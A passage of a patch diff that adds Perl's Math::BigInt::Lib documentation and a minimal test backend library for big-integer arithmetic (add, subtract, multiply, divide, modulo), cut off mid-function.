+ for (my $i = 2 ; $i <= $n ; ++ $i) {
+ $y[$i] = $class -> _add($class -> _copy($y[$i - 1]), $y[$i - 2]);
+ }
+
+ return @y;
+ }
+
+ # In scalar context use a fast algorithm that is much faster than the
+ # recursive algorith used in list context.
+
+ my $cache = {};
+ my $two = $class -> _two();
+ my $fib;
+
+ $fib = sub {
+ my $n = shift;
+ return $class -> _zero() if $n <= 0;
+ return $class -> _one() if $n <= 2;
+ return $cache -> {$n} if exists $cache -> {$n};
+
+ my $k = int($n / 2);
+ my $a = $fib -> ($k + 1);
+ my $b = $fib -> ($k);
+ my $y;
+
+ if ($n % 2 == 1) {
+ # a*a + b*b
+ $y = $class -> _add($class -> _mul($class -> _copy($a), $a),
+ $class -> _mul($class -> _copy($b), $b));
+ } else {
+ # (2*a - b)*b
+ $y = $class -> _mul($class -> _sub($class -> _mul(
+ $class -> _copy($two), $a), $b), $b);
+ }
+
+ $cache -> {$n} = $y;
+ return $y;
+ };
+
+ return $fib -> ($n);
+}
+
+##############################################################################
+##############################################################################
+
+1;
+
+__END__
+
+=pod
+
+=head1 NAME
+
+Math::BigInt::Lib - virtual parent class for Math::BigInt libraries
+
+=head1 SYNOPSIS
+
+ # In the backend library for Math::BigInt et al.
+
+ package Math::BigInt::MyBackend;
+
+ use Math::BigInt::lib;
+ our @ISA = qw< Math::BigInt::lib >;
+
+ sub _new { ... }
+ sub _str { ... }
+ sub _add { ... }
+ str _sub { ... }
+ ...
+
+ # In your main program.
+
+ use Math::BigInt lib => 'MyBackend';
+
+=head1 DESCRIPTION
+
+This module provides support for big integer calculations. It is not intended
+to be used directly, but rather as a parent class for backend libraries used by
+Math::BigInt, Math::BigFloat, Math::BigRat, and related modules.
+
+Other backend libraries include Math::BigInt::Calc, Math::BigInt::FastCalc,
+Math::BigInt::GMP, and Math::BigInt::Pari.
+
+In order to allow for multiple big integer libraries, Math::BigInt was
+rewritten to use a plug-in library for core math routines. Any module which
+conforms to the API can be used by Math::BigInt by using this in your program:
+
+ use Math::BigInt lib => 'libname';
+
+'libname' is either the long name, like 'Math::BigInt::Pari', or only the short
+version, like 'Pari'.
+
+=head2 General Notes
+
+A library only needs to deal with unsigned big integers. Testing of input
+parameter validity is done by the caller, so there is no need to worry about
+underflow (e.g., in C<_sub()> and C<_dec()>) or about division by zero (e.g.,
+in C<_div()> and C<_mod()>)) or similar cases.
+
+Some libraries use methods that don't modify their argument, and some libraries
+don't even use objects, but rather unblessed references. Because of this,
+liberary methods are always called as class methods, not instance methods:
+
+ $x = Class -> method($x, $y); # like this
+ $x = $x -> method($y); # not like this ...
+ $x -> method($y); # ... or like this
+
+And with boolean methods
+
+ $bool = Class -> method($x, $y); # like this
+ $bool = $x -> method($y); # not like this
+
+Return values are always objects, strings, Perl scalars, or true/false for
+comparison routines.
+
+=head3 API version
+
+=over 4
+
+=item CLASS-E<gt>api_version()
+
+Return API version as a Perl scalar, 1 for Math::BigInt v1.70, 2 for
+Math::BigInt v1.83.
+
+This method is no longer used. Methods that are not implemented by a subclass
+will be inherited from this class.
+
+=back
+
+=head3 Constructors
+
+The following methods are mandatory: _new(), _str(), _add(), and _sub().
+However, computations will be very slow without _mul() and _div().
+
+=over 4
+
+=item CLASS-E<gt>_new(STR)
+
+Convert a string representing an unsigned decimal number to an object
+representing the same number. The input is normalized, i.e., it matches
+C<^(0|[1-9]\d*)$>.
+
+=item CLASS-E<gt>_zero()
+
+Return an object representing the number zero.
+
+=item CLASS-E<gt>_one()
+
+Return an object representing the number one.
+
+=item CLASS-E<gt>_two()
+
+Return an object representing the number two.
+
+=item CLASS-E<gt>_ten()
+
+Return an object representing the number ten.
+
+=item CLASS-E<gt>_from_bin(STR)
+
+Return an object given a string representing a binary number. The input has a
+'0b' prefix and matches the regular expression C<^0[bB](0|1[01]*)$>.
+
+=item CLASS-E<gt>_from_oct(STR)
+
+Return an object given a string representing an octal number. The input has a
+'0' prefix and matches the regular expression C<^0[1-7]*$>.
+
+=item CLASS-E<gt>_from_hex(STR)
+
+Return an object given a string representing a hexadecimal number. The input
+has a '0x' prefix and matches the regular expression
+C<^0x(0|[1-9a-fA-F][\da-fA-F]*)$>.
+
+=item CLASS-E<gt>_from_bytes(STR)
+
+Returns an object given a byte string representing the number. The byte string
+is in big endian byte order, so the two-byte input string "\x01\x00" should
+give an output value representing the number 256.
+
+=back
+
+=head3 Mathematical functions
+
+=over 4
+
+=item CLASS-E<gt>_add(OBJ1, OBJ2)
+
+Returns the result of adding OBJ2 to OBJ1.
+
+=item CLASS-E<gt>_mul(OBJ1, OBJ2)
+
+Returns the result of multiplying OBJ2 and OBJ1.
+
+=item CLASS-E<gt>_div(OBJ1, OBJ2)
+
+In scalar context, returns the quotient after dividing OBJ1 by OBJ2 and
+truncating the result to an integer. In list context, return the quotient and
+the remainder.
+
+=item CLASS-E<gt>_sub(OBJ1, OBJ2, FLAG)
+
+=item CLASS-E<gt>_sub(OBJ1, OBJ2)
+
+Returns the result of subtracting OBJ2 by OBJ1. If C<flag> is false or omitted,
+OBJ1 might be modified. If C<flag> is true, OBJ2 might be modified.
+
+=item CLASS-E<gt>_dec(OBJ)
+
+Returns the result after decrementing OBJ by one.
+
+=item CLASS-E<gt>_inc(OBJ)
+
+Returns the result after incrementing OBJ by one.
+
+=item CLASS-E<gt>_mod(OBJ1, OBJ2)
+
+Returns OBJ1 modulo OBJ2, i.e., the remainder after dividing OBJ1 by OBJ2.
+
+=item CLASS-E<gt>_sqrt(OBJ)
+
+Returns the square root of OBJ, truncated to an integer.
+
+=item CLASS-E<gt>_root(OBJ, N)
+
+Returns the Nth root of OBJ, truncated to an integer.
+
+=item CLASS-E<gt>_fac(OBJ)
+
+Returns the factorial of OBJ, i.e., the product of all positive integers up to
+and including OBJ.
+
+=item CLASS-E<gt>_dfac(OBJ)
+
+Returns the double factorial of OBJ. If OBJ is an even integer, returns the
+product of all positive, even integers up to and including OBJ, i.e.,
+2*4*6*...*OBJ. If OBJ is an odd integer, returns the product of all positive,
+odd integers, i.e., 1*3*5*...*OBJ.
+
+=item CLASS-E<gt>_pow(OBJ1, OBJ2)
+
+Returns OBJ1 raised to the power of OBJ2. By convention, 0**0 = 1.
+
+=item CLASS-E<gt>_modinv(OBJ1, OBJ2)
+
+Returns the modular multiplicative inverse, i.e., return OBJ3 so that
+
+ (OBJ3 * OBJ1) % OBJ2 = 1 % OBJ2
+
+The result is returned as two arguments. If the modular multiplicative inverse
+does not exist, both arguments are undefined. Otherwise, the arguments are a
+number (object) and its sign ("+" or "-").
+
+The output value, with its sign, must either be a positive value in the range
+1,2,...,OBJ2-1 or the same value subtracted OBJ2. For instance, if the input
+arguments are objects representing the numbers 7 and 5, the method must either
+return an object representing the number 3 and a "+" sign, since (3*7) % 5 = 1
+% 5, or an object representing the number 2 and a "-" sign, since (-2*7) % 5 = 1
+% 5.
+
+=item CLASS-E<gt>_modpow(OBJ1, OBJ2, OBJ3)
+
+Returns the modular exponentiation, i.e., (OBJ1 ** OBJ2) % OBJ3.
+
+=item CLASS-E<gt>_rsft(OBJ, N, B)
+
+Returns the result after shifting OBJ N digits to thee right in base B. This is
+equivalent to performing integer division by B**N and discarding the remainder,
+except that it might be much faster.
+
+For instance, if the object $obj represents the hexadecimal number 0xabcde,
+then C<_rsft($obj, 2, 16)> returns an object representing the number 0xabc. The
+"remainer", 0xde, is discarded and not returned.
+
+=item CLASS-E<gt>_lsft(OBJ, N, B)
+
+Returns the result after shifting OBJ N digits to the left in base B. This is
+equivalent to multiplying by B**N, except that it might be much faster.
+
+=item CLASS-E<gt>_log_int(OBJ, B)
+
+Returns the logarithm of OBJ to base BASE truncted to an integer. This method
+has two output arguments, the OBJECT and a STATUS. The STATUS is Perl scalar;
+it is 1 if OBJ is the exact result, 0 if the result was truncted to give OBJ,
+and undef if it is unknown whether OBJ is the exact result.
+
+=item CLASS-E<gt>_gcd(OBJ1, OBJ2)
+
+Returns the greatest common divisor of OBJ1 and OBJ2.
+
+=item CLASS-E<gt>_lcm(OBJ1, OBJ2)
+
+Return the least common multiple of OBJ1 and OBJ2.
+
+=item CLASS-E<gt>_fib(OBJ)
+
+In scalar context, returns the nth Fibonacci number: _fib(0) returns 0, _fib(1)
+returns 1, _fib(2) returns 1, _fib(3) returns 2 etc. In list context, returns
+the Fibonacci numbers from F(0) to F(n): 0, 1, 1, 2, 3, 5, 8, 13, 21, 34, ...
+
+=item CLASS-E<gt>_lucas(OBJ)
+
+In scalar context, returns the nth Lucas number: _lucas(0) returns 2, _lucas(1)
+returns 1, _lucas(2) returns 3, etc. In list context, returns the Lucas numbers
+from L(0) to L(n): 2, 1, 3, 4, 7, 11, 18, 29,47, 76, ...
+
+=back
+
+=head3 Bitwise operators
+
+=over 4
+
+=item CLASS-E<gt>_and(OBJ1, OBJ2)
+
+Returns bitwise and.
+
+=item CLASS-E<gt>_or(OBJ1, OBJ2)
+
+Return bitwise or.
+
+=item CLASS-E<gt>_xor(OBJ1, OBJ2)
+
+Return bitwise exclusive or.
+
+=back
+
+=head3 Boolean operators
+
+=over 4
+
+=item CLASS-E<gt>_is_zero(OBJ)
+
+Returns a true value if OBJ is zero, and false value otherwise.
+
+=item CLASS-E<gt>_is_one(OBJ)
+
+Returns a true value if OBJ is one, and false value otherwise.
+
+=item CLASS-E<gt>_is_two(OBJ)
+
+Returns a true value if OBJ is two, and false value otherwise.
+
+=item CLASS-E<gt>_is_ten(OBJ)
+
+Returns a true value if OBJ is ten, and false value otherwise.
+
+=item CLASS-E<gt>_is_even(OBJ)
+
+Return a true value if OBJ is an even integer, and a false value otherwise.
+
+=item CLASS-E<gt>_is_odd(OBJ)
+
+Return a true value if OBJ is an even integer, and a false value otherwise.
+
+=item CLASS-E<gt>_acmp(OBJ1, OBJ2)
+
+Compare OBJ1 and OBJ2 and return -1, 0, or 1, if OBJ1 is numerically less than,
+equal to, or larger than OBJ2, respectively.
+
+=back
+
+=head3 String conversion
+
+=over 4
+
+=item CLASS-E<gt>_str(OBJ)
+
+Returns a string representing OBJ in decimal notation. The returned string
+should have no leading zeros, i.e., it should match C<^(0|[1-9]\d*)$>.
+
+=item CLASS-E<gt>_to_bin(OBJ)
+
+Returns the binary string representation of OBJ.
+
+=item CLASS-E<gt>_to_oct(OBJ)
+
+Returns the octal string representation of the number.
+
+=item CLASS-E<gt>_to_hex(OBJ)
+
+Returns the hexadecimal string representation of the number.
+
+=item CLASS-E<gt>_to_bytes(OBJ)
+
+Returns a byte string representation of OBJ. The byte string is in big endian
+byte order, so if OBJ represents the number 256, the output should be the
+two-byte string "\x01\x00".
+
+=item CLASS-E<gt>_as_bin(OBJ)
+
+Like C<_to_bin()> but with a '0b' prefix.
+
+=item CLASS-E<gt>_as_oct(OBJ)
+
+Like C<_to_oct()> but with a '0' prefix.
+
+=item CLASS-E<gt>_as_hex(OBJ)
+
+Like C<_to_hex()> but with a '0x' prefix.
+
+=item CLASS-E<gt>_as_bytes(OBJ)
+
+This is an alias to C<_to_bytes()>.
+
+=back
+
+=head3 Numeric conversion
+
+=over 4
+
+=item CLASS-E<gt>_num(OBJ)
+
+Returns a Perl scalar number representing the number OBJ as close as
+possible. Since Perl scalars have limited precision, the returned value might
+not be exactly the same as OBJ.
+
+=back
+
+=head3 Miscellaneous
+
+=over 4
+
+=item CLASS-E<gt>_copy(OBJ)
+
+Returns a true copy OBJ.
+
+=item CLASS-E<gt>_len(OBJ)
+
+Returns the number of the decimal digits in OBJ. The output is a Perl scalar.
+
+=item CLASS-E<gt>_zeros(OBJ)
+
+Returns the number of trailing decimal zeros. The output is a Perl scalar. The
+number zero has no trailing decimal zeros.
+
+=item CLASS-E<gt>_digit(OBJ, N)
+
+Returns the Nth digit in OBJ as a Perl scalar. N is a Perl scalar, where zero
+refers to the rightmost (least significant) digit, and negative values count
+from the left (most significant digit). If $obj represents the number 123, then
+
+ CLASS->_digit($obj, 0) # returns 3
+ CLASS->_digit($obj, 1) # returns 2
+ CLASS->_digit($obj, 2) # returns 1
+ CLASS->_digit($obj, -1) # returns 1
+
+=item CLASS-E<gt>_check(OBJ)
+
+Returns true if the object is invalid and false otherwise. Preferably, the true
+value is a string describing the problem with the object. This is a check
+routine to test the internal state of the object for corruption.
+
+=item CLASS-E<gt>_set(OBJ)
+
+xxx
+
+=back
+
+=head2 API version 2
+
+The following methods are required for an API version of 2 or greater.
+
+=head3 Constructors
+
+=over 4
+
+=item CLASS-E<gt>_1ex(N)
+
+Return an object representing the number 10**N where N E<gt>= 0 is a Perl
+scalar.
+
+=back
+
+=head3 Mathematical functions
+
+=over 4
+
+=item CLASS-E<gt>_nok(OBJ1, OBJ2)
+
+Return the binomial coefficient OBJ1 over OBJ1.
+
+=back
+
+=head3 Miscellaneous
+
+=over 4
+
+=item CLASS-E<gt>_alen(OBJ)
+
+Return the approximate number of decimal digits of the object. The output is a
+Perl scalar.
+
+=back
+
+=head2 API optional methods
+
+The following methods are optional, and can be defined if the underlying lib
+has a fast way to do them. If undefined, Math::BigInt will use pure Perl (hence
+slow) fallback routines to emulate these:
+
+=head3 Signed bitwise operators.
+
+=over 4
+
+=item CLASS-E<gt>_signed_or(OBJ1, OBJ2, SIGN1, SIGN2)
+
+Return the signed bitwise or.
+
+=item CLASS-E<gt>_signed_and(OBJ1, OBJ2, SIGN1, SIGN2)
+
+Return the signed bitwise and.
+
+=item CLASS-E<gt>_signed_xor(OBJ1, OBJ2, SIGN1, SIGN2)
+
+Return the signed bitwise exclusive or.
+
+=back
+
+=head1 WRAP YOUR OWN
+
+If you want to port your own favourite C library for big numbers to the
+Math::BigInt interface, you can take any of the already existing modules as a
+rough guideline. You should really wrap up the latest Math::BigInt and
+Math::BigFloat testsuites with your module, and replace in them any of the
+following:
+
+ use Math::BigInt;
+
+by this:
+
+ use Math::BigInt lib => 'yourlib';
+
+This way you ensure that your library really works 100% within Math::BigInt.
+
+=head1 BUGS
+
+Please report any bugs or feature requests to
+C<bug-math-bigint at rt.cpan.org>, or through the web interface at
+L<https://rt.cpan.org/Ticket/Create.html?Queue=Math-BigInt>
+(requires login).
+We will be notified, and then you'll automatically be notified of progress on
+your bug as I make changes.
+
+=head1 SUPPORT
+
+You can find documentation for this module with the perldoc command.
+
+ perldoc Math::BigInt::Calc
+
+You can also look for information at:
+
+=over 4
+
+=item * RT: CPAN's request tracker
+
+L<https://rt.cpan.org/Public/Dist/Display.html?Name=Math-BigInt>
+
+=item * AnnoCPAN: Annotated CPAN documentation
+
+L<http://annocpan.org/dist/Math-BigInt>
+
+=item * CPAN Ratings
+
+L<http://cpanratings.perl.org/dist/Math-BigInt>
+
+=item * Search CPAN
+
+L<http://search.cpan.org/dist/Math-BigInt/>
+
+=item * CPAN Testers Matrix
+
+L<http://matrix.cpantesters.org/?dist=Math-BigInt>
+
+=item * The Bignum mailing list
+
+=over 4
+
+=item * Post to mailing list
+
+C<bignum at lists.scsys.co.uk>
+
+=item * View mailing list
+
+L<http://lists.scsys.co.uk/pipermail/bignum/>
+
+=item * Subscribe/Unsubscribe
+
+L<http://lists.scsys.co.uk/cgi-bin/mailman/listinfo/bignum>
+
+=back
+
+=back
+
+=head1 LICENSE
+
+This program is free software; you may redistribute it and/or modify it under
+the same terms as Perl itself.
+
+=head1 AUTHOR
+
+Peter John Acklam, E<lt>pjacklam@online.noE<gt>
+
+Code and documentation based on the Math::BigInt::Calc module by Tels
+E<lt>nospam-abuse@bloodgate.comE<gt>
+
+=head1 SEE ALSO
+
+L<Math::BigInt>, L<Math::BigInt::Calc>, L<Math::BigInt::GMP>,
+L<Math::BigInt::FastCalc> and L<Math::BigInt::Pari>.
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Math-BigInt/t/Math/BigInt/Lib/Minimal.pm b/gnu/usr.bin/perl/cpan/Math-BigInt/t/Math/BigInt/Lib/Minimal.pm
new file mode 100644
index 00000000000..f613482f83b
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Math-BigInt/t/Math/BigInt/Lib/Minimal.pm
@@ -0,0 +1,1018 @@
+# This is a rather minimalistic library, whose purpose is to test inheritance
+# from its parent class.
+
+package Math::BigInt::Lib::Minimal;
+
+use 5.006001;
+use strict;
+use warnings;
+
+use Carp;
+use Math::BigInt::Lib;
+
+our @ISA = ('Math::BigInt::Lib');
+
+#my $BASE_LEN = 4;
+my $BASE_LEN = 9;
+my $BASE = 0 + ("1" . ("0" x $BASE_LEN));
+my $MAX_VAL = $BASE - 1;
+
+# Do we need api_version() at all, now that we have a virtual parent class that
+# will provide any missing methods? Fixme!
+
+sub api_version () { 2; }
+
+sub _new {
+ my ($class, $str) = @_;
+ croak "Invalid input string '$str'" unless $str =~ /^([1-9]\d*|0)\z/;
+
+ my $n = length $str;
+ my $p = int($n / $BASE_LEN);
+ my $q = $n % $BASE_LEN;
+
+ my $format = $] < 5.9008 ? "a$BASE_LEN" x $p
+ : "(a$BASE_LEN)*";
+ $format = "a$q" . $format if $q > 0;
+
+ my $self = [ reverse(map { 0 + $_ } unpack($format, $str)) ];
+ return bless $self, $class;
+}
+
+##############################################################################
+# convert back to string and number
+
+sub _str {
+ my ($class, $x) = @_;
+ my $idx = $#$x; # index of last element
+
+ # Handle first one differently, since it should not have any leading zeros.
+
+ my $str = int($x->[$idx]);
+
+ if ($idx > 0) {
+ my $z = '0' x ($BASE_LEN - 1);
+ while (--$idx >= 0) {
+ $str .= substr($z . $x->[$idx], -$BASE_LEN);
+ }
+ }
+ $str;
+}
+
+##############################################################################
+# actual math code
+
+sub _add {
+ # (ref to int_num_array, ref to int_num_array)
+ #
+ # Routine to add two base 1eX numbers stolen from Knuth Vol 2 Algorithm A
+ # pg 231. There are separate routines to add and sub as per Knuth pg 233.
+ # This routine modifies array x, but not y.
+
+ my ($c, $x, $y) = @_;
+
+ # $x + 0 => $x
+
+ return $x if @$y == 1 && $y->[0] == 0;
+
+ # 0 + $y => $y->copy
+
+ if (@$x == 1 && $x->[0] == 0) {
+ @$x = @$y;
+ return $x;
+ }
+
+ # For each in Y, add Y to X and carry. If after that, something is left in
+ # X, foreach in X add carry to X and then return X, carry. Trades one
+ # "$j++" for having to shift arrays.
+
+ my $i;
+ my $car = 0;
+ my $j = 0;
+ for $i (@$y) {
+ $x->[$j] -= $BASE if $car = (($x->[$j] += $i + $car) >= $BASE) ? 1 : 0;
+ $j++;
+ }
+ while ($car != 0) {
+ $x->[$j] -= $BASE if $car = (($x->[$j] += $car) >= $BASE) ? 1 : 0;
+ $j++;
+ }
+
+ $x;
+}
+
+sub _sub {
+ # (ref to int_num_array, ref to int_num_array, swap)
+ #
+ # Subtract base 1eX numbers -- stolen from Knuth Vol 2 pg 232, $x > $y
+ # subtract Y from X by modifying x in place
+ my ($c, $sx, $sy, $s) = @_;
+
+ my $car = 0;
+ my $i;
+ my $j = 0;
+ if (!$s) {
+ for $i (@$sx) {
+ last unless defined $sy->[$j] || $car;
+ $i += $BASE if $car = (($i -= ($sy->[$j] || 0) + $car) < 0);
+ $j++;
+ }
+ # might leave leading zeros, so fix that
+ return __strip_zeros($sx);
+ }
+ for $i (@$sx) {
+ # We can't do an early out if $x < $y, since we need to copy the high
+ # chunks from $y. Found by Bob Mathews.
+ #last unless defined $sy->[$j] || $car;
+ $sy->[$j] += $BASE
+ if $car = ($sy->[$j] = $i - ($sy->[$j] || 0) - $car) < 0;
+ $j++;
+ }
+ # might leave leading zeros, so fix that
+ __strip_zeros($sy);
+}
+
+# The following _mul function is an exact copy of _mul_use_div_64 in
+# Math::BigInt::Calc.
+
+sub _mul {
+ # (ref to int_num_array, ref to int_num_array)
+ # multiply two numbers in internal representation
+ # modifies first arg, second need not be different from first
+ # works for 64 bit integer with "use integer"
+ my ($c, $xv, $yv) = @_;
+
+ use integer;
+ if (@$yv == 1) {
+ # shortcut for two small numbers, also handles $x == 0
+ if (@$xv == 1) {
+ # shortcut for two very short numbers (improved by Nathan Zook)
+ # works also if xv and yv are the same reference, and handles also $x == 0
+ if (($xv->[0] *= $yv->[0]) >= $BASE) {
+ $xv->[0] =
+ $xv->[0] - ($xv->[1] = $xv->[0] / $BASE) * $BASE;
+ }
+ return $xv;
+ }
+ # $x * 0 => 0
+ if ($yv->[0] == 0) {
+ @$xv = (0);
+ return $xv;
+ }
+ # multiply a large number a by a single element one, so speed up
+ my $y = $yv->[0];
+ my $car = 0;
+ foreach my $i (@$xv) {
+ #$i = $i * $y + $car; $car = $i / $BASE; $i -= $car * $BASE;
+ $i = $i * $y + $car;
+ $i -= ($car = $i / $BASE) * $BASE;
+ }
+ push @$xv, $car if $car != 0;
+ return $xv;
+ }
+ # shortcut for result $x == 0 => result = 0
+ return $xv if ( ((@$xv == 1) && ($xv->[0] == 0)) );
+
+ # since multiplying $x with $x fails, make copy in this case
+ $yv = $c->_copy($xv) if $xv == $yv; # same references?
+
+ my @prod = ();
+ my ($prod, $car, $cty, $xi, $yi);
+ for $xi (@$xv) {
+ $car = 0;
+ $cty = 0;
+ # looping through this if $xi == 0 is silly - so optimize it away!
+ $xi = (shift @prod || 0), next if $xi == 0;
+ for $yi (@$yv) {
+ $prod = $xi * $yi + ($prod[$cty] || 0) + $car;
+ $prod[$cty++] = $prod - ($car = $prod / $BASE) * $BASE;
+ }
+ $prod[$cty] += $car if $car; # need really to check for 0?
+ $xi = shift @prod || 0; # || 0 makes v5.005_3 happy
+ }
+ push @$xv, @prod;
+ $xv;
+}
+
+# The following _div function is an exact copy of _div_use_div_64 in
+# Math::BigInt::Calc.
+
+sub _div {
+ # ref to array, ref to array, modify first array and return remainder if
+ # in list context
+ # This version works on 64 bit integers
+ my ($c, $x, $yorg) = @_;
+
+ use integer;
+ # the general div algorithm here is about O(N*N) and thus quite slow, so
+ # we first check for some special cases and use shortcuts to handle them.
+
+ # This works, because we store the numbers in a chunked format where each
+ # element contains 5..7 digits (depending on system).
+
+ # if both numbers have only one element:
+ if (@$x == 1 && @$yorg == 1) {
+ # shortcut, $yorg and $x are two small numbers
+ if (wantarray) {
+ my $rem = [ $x->[0] % $yorg->[0] ];
+ bless $rem, $c;
+ $x->[0] = int($x->[0] / $yorg->[0]);
+ return ($x, $rem);
+ } else {
+ $x->[0] = int($x->[0] / $yorg->[0]);
+ return $x;
+ }
+ }
+ # if x has more than one, but y has only one element:
+ if (@$yorg == 1) {
+ my $rem;
+ $rem = $c->_mod($c->_copy($x), $yorg) if wantarray;
+
+ # shortcut, $y is < $BASE
+ my $j = @$x;
+ my $r = 0;
+ my $y = $yorg->[0];
+ my $b;
+ while ($j-- > 0) {
+ $b = $r * $BASE + $x->[$j];
+ $x->[$j] = int($b/$y);
+ $r = $b % $y;
+ }
+ pop @$x if @$x > 1 && $x->[-1] == 0; # splice up a leading zero
+ return ($x, $rem) if wantarray;
+ return $x;
+ }
+ # now x and y have more than one element
+
+ # check whether y has more elements than x, if yet, the result will be 0
+ if (@$yorg > @$x) {
+ my $rem;
+ $rem = $c->_copy($x) if wantarray; # make copy
+ @$x = 0; # set to 0
+ return ($x, $rem) if wantarray; # including remainder?
+ return $x; # only x, which is [0] now
+ }
+ # check whether the numbers have the same number of elements, in that case
+ # the result will fit into one element and can be computed efficiently
+ if (@$yorg == @$x) {
+ my $rem;
+ # if $yorg has more digits than $x (it's leading element is longer than
+ # the one from $x), the result will also be 0:
+ if (length(int($yorg->[-1])) > length(int($x->[-1]))) {
+ $rem = $c->_copy($x) if wantarray; # make copy
+ @$x = 0; # set to 0
+ return ($x, $rem) if wantarray; # including remainder?
+ return $x;
+ }
+ # now calculate $x / $yorg
+
+ if (length(int($yorg->[-1])) == length(int($x->[-1]))) {
+ # same length, so make full compare
+
+ my $a = 0;
+ my $j = @$x - 1;
+ # manual way (abort if unequal, good for early ne)
+ while ($j >= 0) {
+ last if ($a = $x->[$j] - $yorg->[$j]);
+ $j--;
+ }
+ # $a contains the result of the compare between X and Y
+ # a < 0: x < y, a == 0: x == y, a > 0: x > y
+ if ($a <= 0) {
+ $rem = $c->_zero(); # a = 0 => x == y => rem 0
+ $rem = $c->_copy($x) if $a != 0; # a < 0 => x < y => rem = x
+ @$x = 0; # if $a < 0
+ $x->[0] = 1 if $a == 0; # $x == $y
+ return ($x, $rem) if wantarray; # including remainder?
+ return $x;
+ }
+ # $x >= $y, so proceed normally
+ }
+ }
+
+ # all other cases:
+
+ my $y = $c->_copy($yorg); # always make copy to preserve
+
+ my ($car, $bar, $prd, $dd, $xi, $yi, @q, $v2, $v1, @d, $tmp, $q, $u2, $u1, $u0);
+
+ $car = $bar = $prd = 0;
+ if (($dd = int($BASE / ($y->[-1] + 1))) != 1) {
+ for $xi (@$x) {
+ $xi = $xi * $dd + $car;
+ $xi -= ($car = int($xi / $BASE)) * $BASE;
+ }
+ push(@$x, $car);
+ $car = 0;
+ for $yi (@$y) {
+ $yi = $yi * $dd + $car;
+ $yi -= ($car = int($yi / $BASE)) * $BASE;
+ }
+ } else {
+ push(@$x, 0);
+ }
+
+ # @q will accumulate the final result, $q contains the current computed
+ # part of the final result
+
+ @q = ();
+ ($v2, $v1) = @$y[-2, -1];
+ $v2 = 0 unless $v2;
+ while ($#$x > $#$y) {
+ ($u2, $u1, $u0) = @$x[-3..-1];
+ $u2 = 0 unless $u2;
+ #warn "oups v1 is 0, u0: $u0 $y->[-2] $y->[-1] l ",scalar @$y,"\n"
+ # if $v1 == 0;
+ $q = (($u0 == $v1) ? $MAX_VAL : int(($u0 * $BASE + $u1) / $v1));
+ --$q while ($v2 * $q > ($u0 * $BASE +$ u1- $q*$v1) * $BASE + $u2);
+ if ($q) {
+ ($car, $bar) = (0, 0);
+ for ($yi = 0, $xi = $#$x - $#$y - 1; $yi <= $#$y; ++$yi, ++$xi) {
+ $prd = $q * $y->[$yi] + $car;
+ $prd -= ($car = int($prd / $BASE)) * $BASE;
+ $x->[$xi] += $BASE if ($bar = (($x->[$xi] -= $prd + $bar) < 0));
+ }
+ if ($x->[-1] < $car + $bar) {
+ $car = 0;
+ --$q;
+ for ($yi = 0, $xi = $#$x - $#$y - 1; $yi <= $#$y; ++$yi, ++$xi) {
+ $x->[$xi] -= $BASE
+ if ($car = (($x->[$xi] += $y->[$yi] + $car) >= $BASE));
+ }
+ }
+ }
+ pop(@$x);
+ unshift(@q, $q);
+ }
+ if (wantarray) {
+ my $d = bless [], $c;
+ if ($dd != 1) {
+ $car = 0;
+ for $xi (reverse @$x) {
+ $prd = $car * $BASE + $xi;
+ $car = $prd - ($tmp = int($prd / $dd)) * $dd;
+ unshift(@$d, $tmp);
+ }
+ } else {
+ @$d = @$x;
+ }
+ @$x = @q;
+ __strip_zeros($x);
+ __strip_zeros($d);
+ return ($x, $d);
+ }
+ @$x = @q;
+ __strip_zeros($x);
+ $x;
+}
+
+# The following _mod function is an exact copy of _mod in Math::BigInt::Calc.
+
+sub _mod {
+ # if possible, use mod shortcut
+ my ($c, $x, $yo) = @_;
+
+ # slow way since $y too big
+ if (@$yo > 1) {
+ my ($xo, $rem) = $c->_div($x, $yo);
+ @$x = @$rem;
+ return $x;
+ }
+
+ my $y = $yo->[0];
+
+ # if both are single element arrays
+ if (@$x == 1) {
+ $x->[0] %= $y;
+ return $x;
+ }
+
+ # if @$x has more than one element, but @$y is a single element
+ my $b = $BASE % $y;
+ if ($b == 0) {
+ # when BASE % Y == 0 then (B * BASE) % Y == 0
+ # (B * BASE) % $y + A % Y => A % Y
+ # so need to consider only last element: O(1)
+ $x->[0] %= $y;
+ } elsif ($b == 1) {
+ # else need to go through all elements in @$x: O(N), but loop is a bit
+ # simplified
+ my $r = 0;
+ foreach (@$x) {
+ $r = ($r + $_) % $y; # not much faster, but heh...
+ #$r += $_ % $y; $r %= $y;
+ }
+ $r = 0 if $r == $y;
+ $x->[0] = $r;
+ } else {
+ # else need to go through all elements in @$x: O(N)
+ my $r = 0;
+ my $bm = 1;
+ foreach (@$x) {
+ $r = ($_ * $bm + $r) % $y;
+ $bm = ($bm * $b) % $y;
+
+ #$r += ($_ % $y) * $bm;
+ #$bm *= $b;
+ #$bm %= $y;
+ #$r %= $y;
+ }
+ $r = 0 if $r == $y;
+ $x->[0] = $r;
+ }
+ @$x = $x->[0]; # keep one element of @$x
+ return $x;
+}
+
+sub __strip_zeros {
+ # Internal normalization function that strips leading zeros from the array.
+ # Args: ref to array
+ my $x = shift;
+
+ push @$x, 0 if @$x == 0; # div might return empty results, so fix it
+ return $x if @$x == 1; # early out
+
+ #print "strip: cnt $cnt i $i\n";
+ # '0', '3', '4', '0', '0',
+ # 0 1 2 3 4
+ # cnt = 5, i = 4
+ # i = 4
+ # i = 3
+ # => fcnt = cnt - i (5-2 => 3, cnt => 5-1 = 4, throw away from 4th pos)
+ # >= 1: skip first part (this can be zero)
+
+ my $i = $#$x;
+ while ($i > 0) {
+ last if $x->[$i] != 0;
+ $i--;
+ }
+ $i++;
+ splice(@$x, $i) if $i < @$x;
+ $x;
+}
+
+###############################################################################
+# check routine to test internal state for corruptions
+
+sub _check {
+ # used by the test suite
+ my ($class, $x) = @_;
+
+ return "Undefined" unless defined $x;
+ return "$x is not a reference" unless ref($x);
+ return "Not an '$class'" unless ref($x) eq $class;
+
+ for (my $i = 0 ; $i <= $#$x ; ++ $i) {
+ my $e = $x -> [$i];
+
+ return "Element at index $i is undefined"
+ unless defined $e;
+
+ return "Element at index $i is a '" . ref($e) .
+ "', which is not a scalar"
+ unless ref($e) eq "";
+
+ return "Element at index $i is '$e', which does not look like an" .
+ " normal integer"
+ #unless $e =~ /^([1-9]\d*|0)\z/;
+ unless $e =~ /^\d+\z/;
+
+ return "Element at index $i is '$e', which is negative"
+ if $e < 0;
+
+ return "Element at index $i is '$e', which is not smaller than" .
+ " the base '$BASE'"
